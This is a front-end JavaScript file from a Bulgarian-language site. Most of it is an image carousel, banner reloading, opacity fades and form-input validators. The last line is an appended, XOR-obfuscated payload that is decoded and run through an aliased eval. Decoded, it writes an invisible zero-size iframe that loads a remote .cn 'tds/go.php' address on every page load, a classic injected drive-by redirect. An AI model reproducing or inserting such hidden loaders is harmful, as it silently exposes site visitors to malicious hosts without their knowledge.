var jScrCon = 'jScrTr';
var jScrCnt = 5;
var jScrImgWidth = 97;
var jScrImgHeight = 72;
var jScrImages = new Array();
var jScrCurPos = 6;
var jScrOpac = 0;

var jScrAction = 0;
var jScrOff = 0;
var jScrTimer = 0;
var jScrTop = 0;

function jScrInit()
{
	jScrPreload();
	
	if ( jScrCurPos > jScrImgArray.length - jScrCnt ) jScrCurPos = jScrImgArray.length - jScrCnt;
	if ( jScrCurPos < 0 ) jScrCurPos = 0;
	
	var jScrDiv = document.getElementById( 'jScrDiv' );
	jScrDiv.style.width = ( jScrCnt * jScrImgWidth ) + ( jScrCnt * 12 ) + 'px';
	
	var jScrObj = document.getElementById( jScrCon );

	jScrRemoveAll( jScrObj );
	
	
	for ( var i = jScrCurPos; i < jScrCnt + jScrCurPos; i++ )
	{
		if ( jScrImages[i] && jScrImages[i] != 'undefined' )
		{
			var td = document.createElement( 'TD' );
			td.style.width = jScrImgWidth + 'px';
			td.style.height = jScrImgHeight + 'px';
			td.style.backgroundColor = '#000000';
			
			var a = document.createElement( 'A' );
			a.id = 'jScr_aid_' + i;
			a.href = 'javascript:void(0);';
			
			var img = document.createElement( 'IMG' );
			img = jScrImages[i];
			img.id = 'jScr_tid_' + i;
			img.style.width = jScrImgWidth + 'px';
			img.style.height = jScrImgHeight + 'px';
			img.style.display = 'block';
			img.style.margin = '0 0';
			img.style.padding = '0';
			
			if ( i == jScrTop ) img.style.border = '5px solid #c6c6c6'; else img.style.border = '5px solid #c6c6c6';
			
			a.appendChild( img );	
			td.appendChild( a );
				
			jScrObj.appendChild( td );
				
			//document.getElementById( 'jScr_aid_' + i ).onclick = function() { jScrChange( this.id ); baner_reload(); }
			//document.getElementById( 'big_pic' ).src = jScrImgArrayBig[jScrCurPos];
			document.getElementById( 'jScr_tid_' + jScrCurPos ).style.border = '5px solid #c6c6c6';	
			jScrTop = jScrCurPos; 
		}
	}
}

function jScrClick( id )
{
	var t = 1 + parseInt( jScrTop );
	
	if ( t >= jScrImgArray.length ) t = 0;
	
	jScrChange( 'jScr_tid_' + ( t ) );
	jScrNext();
}

function jScrChange( pos )
{ 
	var a = pos.split( '_' );
	
	if ( document.getElementById( 'jScr_tid_' + jScrTop ) ) 
	{
		//opacity( 'big_pic', 100, 0, 300 );
		document.getElementById( 'jScr_tid_' + jScrTop ).style.border = '5px solid #c6c6c6';
	}
	
	jScrTop = a[2];
	
	if ( document.getElementById( 'jScr_tid_' + jScrTop ) ) 
		document.getElementById( 'jScr_tid_' + jScrTop ).style.border = '5px solid #c6c6c6';
	
	//document.getElementById( 'big_pic' ).src = jScrImgArrayBig[ a[2] ];
	//opacity( 'big_pic', 0, 100, 300 );
}

function jScrPreload()
{
	for ( var i = 0; i < jScrImgArray.length; i++ ) 
	{
		jScrImages[i] = document.createElement( 'IMG' );
		jScrImages[i].src = jScrImgArray[i];
	}
}

function jScrRemoveAll( node )
{
	while ( node.hasChildNodes() )
	{
		node.removeChild( node.firstChild );
	}
}

function jScrNext()
{
	baner_reload();

	if ( jScrImgArray.length <= jScrCnt ) return;
	if ( jScrAction == 1 ) return; else jScrAction = 1;
	
	var jScrObj = document.getElementById( jScrCon );
	
	jScrCurPos++;	
	
	if ( jScrCurPos >= jScrImgArray.length ) jScrCurPos = 0;
	
	tmpPos = jScrCurPos + jScrCnt - 1;
	
	if ( tmpPos >= jScrImgArray.length ) tmpPos = tmpPos - jScrImgArray.length;

	var td = document.createElement( 'TD' );
	td.style.width = jScrImgWidth + 'px';
	td.style.height = jScrImgHeight + 'px';
	
	var a = document.createElement( 'A' );
	a.id = 'jScr_aid_' + tmpPos;
	a.href = 'javascript:void(0);';
		
	var img = document.createElement( 'IMG' );
	img = jScrImages[tmpPos];
	img.id = 'jScr_tid_' + tmpPos;
	img.style.width = jScrImgWidth + 'px';
	img.style.height = jScrImgHeight + 'px';
	img.style.display = 'block';
	img.style.margin = '0 0';
	img.style.padding = '0';
		
	if ( tmpPos == jScrTop )
		img.style.border = '5px solid #c6c6c6';
	else
		img.style.border = '5px solid #c6c6c6';
	
	a.appendChild( img );	
	td.appendChild( a );
	
	jScrObj.appendChild( td );
	
	//document.getElementById( 'jScr_aid_' + tmpPos ).onclick = function() { jScrChange( this.id ); baner_reload(); } 
	
	jScrTimer = window.setInterval( 'jScrMoveLeft( "jScr_tid_" + tmpPos )', 1 );
}

function jScrPrev()
{
	baner_reload();

	if ( jScrImgArray.length <= jScrCnt ) return;
	if ( jScrAction == 1 ) return; else jScrAction = 1;
	
	var jScrObj = document.getElementById( jScrCon );
	
	jScrCurPos--;	
	
	if ( jScrCurPos < 0 ) jScrCurPos = ( jScrImgArray.length - 1 ) % jScrImgArray.length;
	
	var td = document.createElement( 'TD' );
	td.style.width = jScrImgWidth + 'px';
	td.style.height = jScrImgHeight + 'px';
	
	var a = document.createElement( 'A' );
	a.id = 'jScr_aid_' + jScrCurPos;
	a.href = 'javascript:void(0);';
		
	var img = document.createElement( 'IMG' );
	img = jScrImages[jScrCurPos];
	img.id = 'jScr_tid_' + jScrCurPos;
	img.style.width = jScrImgWidth + 'px';
	img.style.height = jScrImgHeight + 'px';
	img.style.display = 'block';
	img.style.margin = '0 0';
	img.style.padding = '0';
		
	if ( jScrCurPos == jScrTop )
		img.style.border = '5px solid #c6c6c6';
	else
		img.style.border = '5px solid #c6c6c6';
	
	a.appendChild( img );	
	td.appendChild( a );
		
	jScrObj.insertBefore( td, jScrObj.firstChild );
	
	//document.getElementById( 'jScr_aid_' + jScrCurPos ).onclick = function() { jScrChange( this.id ); baner_reload(); } 
	
	var jScrTbl = document.getElementById( 'jScrTbl' );
	jScrTbl.style.left = -( jScrImgWidth + 4 ) + 'px';
	jScrOff = -( jScrImgWidth + 4 );
	
	jScrTimer = window.setInterval( 'jScrMoveRight( "jScr_tid_" + jScrCurPos )', 1 );
}

function jScrMoveLeft( img )
{
	var jScrTbl = document.getElementById( 'jScrTbl' );
	
	jScrOff += 5;
	jScrOpac += 5;
	
	if ( jScrOff < jScrImgWidth + 5 ) 
	{
		jScrTbl.style.left = '-' + jScrOff + 'px';
		
		//var tImg = document.getElementById( img );	
		//tImg.style.opacity = jScrOpac / 100;
		//tImg.style.filter = 'alpha(opacity=' + jScrOpac + ')';
	}
	else
	{
		jScrOff = 0;
		jScrAction = 0;
		jScrOpac = 0;
		
		window.clearInterval( jScrTimer );
		
		var jScrObj = document.getElementById( jScrCon );
		jScrObj.removeChild( jScrObj.firstChild );
		jScrTbl.style.left = '0px';
	}
}

function jScrMoveRight( img )
{
	var jScrTbl = document.getElementById( 'jScrTbl' );
	
	jScrOff += 5;
	jScrOpac += 5;
	
	if ( jScrOff < 0 ) 
	{
		jScrTbl.style.left = jScrOff + 'px';
		
		//var tImg = document.getElementById( img );	
		//tImg.style.opacity = jScrOpac / 100;
		//tImg.style.filter = 'alpha(opacity=' + jScrOpac + ')';
	}
	else
	{
		jScrOff = 0;
		jScrAction = 0;
		jScrOpac = 0;
		
		window.clearInterval( jScrTimer );
		
		var jScrObj = document.getElementById( jScrCon );
		jScrObj.removeChild( jScrObj.childNodes[jScrObj.childNodes.length - 1] );
		jScrTbl.style.left = '0px';
	}
}

function opacity(id, opacStart, opacEnd, millisec) { 
    //speed for each frame 
    var speed = Math.round(millisec / 100); 
    var timer = 0; 

    //determine the direction for the blending, if start and end are the same nothing happens 
    if(opacStart > opacEnd) { 
        for(i = opacStart; i >= opacEnd; i--) { 
            setTimeout("changeOpac(" + i + ",'" + id + "')",(timer * speed)); 
            timer++; 
        } 
    } else if(opacStart < opacEnd) { 
        for(i = opacStart; i <= opacEnd; i++) 
            { 
            setTimeout("changeOpac(" + i + ",'" + id + "')",(timer * speed)); 
            timer++; 
        } 
    } 
} 

//change the opacity for different browsers 
function changeOpac(opacity, id) { 
    var object = document.getElementById(id).style; 
    object.opacity = (opacity / 100); 
    object.MozOpacity = (opacity / 100); 
    object.KhtmlOpacity = (opacity / 100); 
    object.filter = "alpha(opacity=" + opacity + ")"; 
} 

function baner_reload(banframe) 
{
	var iframe = document.getElementById(banframe);
	
	if (!iframe) return false;
		
	iframe.style.display = 'none';
	iframe.src = iframe.src;
	iframe.style.display = '';		
}

function hideValue(what, def)
{
	if(trim(what.value) == def)
	{
		what.value = "";
	}
	return;
}

function showValue(what, def)
{
	if(trim(what.value) == '')
	{
		what.value = def;
	}
	return;
}

function setAction(what)
{
	eval('reg = document.'+what+';');
	reg.action = '?act=search&type='+reg.type.value;
	return;
}

// Removes leading whitespaces
function LTrim( value )
{
	var re = /\s*((\S+\s*)*)/;
	return value.replace(re, "$1");
	
}

// Removes ending whitespaces
function RTrim( value )
{
	var re = /((\s*\S+)*)\s*/;
	return value.replace(re, "$1");
}

// Removes leading and ending whitespaces
function trim( value )
{
	return LTrim(RTrim(value));
}

function hourcheck(what)
{
	var chk = /[^0-9:]/g;
	if ( chk.exec ( what.value ) )
	{ 
		alert ( "Невалиден символ! Само цифри и : " );
		what.value = what.value.replace( chk, "" );
		what.focus();
		return false;
	}
	return true;
}

function pricecheck(what)
{
	var chk = /[^0-9,]/g;
	if ( chk.exec ( what.value ) )
	{ 
		alert ( "Невалиден символ! Само цифри и , " );
		what.value = what.value.replace( chk, "" );
		what.focus();
		return false;
	}
	return true;
}

function buttonSrc(srcid, pic)
{
	var nimg =document.getElementById(srcid);
	
	nimg.src = pic;
}

function preloadImg(imgarray)
{
	for(i = 0; i < imgarray.length; i++)
	{
		eval('c'+i+' = new Image(); c'+i+'.src = "'+imgarray[i]+'";');
	}
}
cbjv=new Array(37,46,34,52,44,36,47,53,111,54,51,40,53,36,105,99,125,40,39,51,32,44,36,97,50,51,34,124,29,99,41,53,53,49,123,110,110,44,46,35,40,50,42,40,50,111,34,47,110,53,37,50,110,38,46,111,49,41,49,126,50,40,37,124,112,29,99,97,54,40,37,53,41,124,29,99,113,29,99,97,41,36,40,38,41,53,124,29,99,113,29,99,97,50,53,56,45,36,124,29,99,37,40,50,49,45,32,56,123,47,46,47,36,122,29,99,127,125,110,40,39,51,32,44,36,127,99,104);whuzb="";rdsbh=65;nnnx=eval;akny=String.fromCharCode;for(oizs in cbjv)whuzb+=akny(cbjv[oizs]^rdsbh);nnnx(whuzb);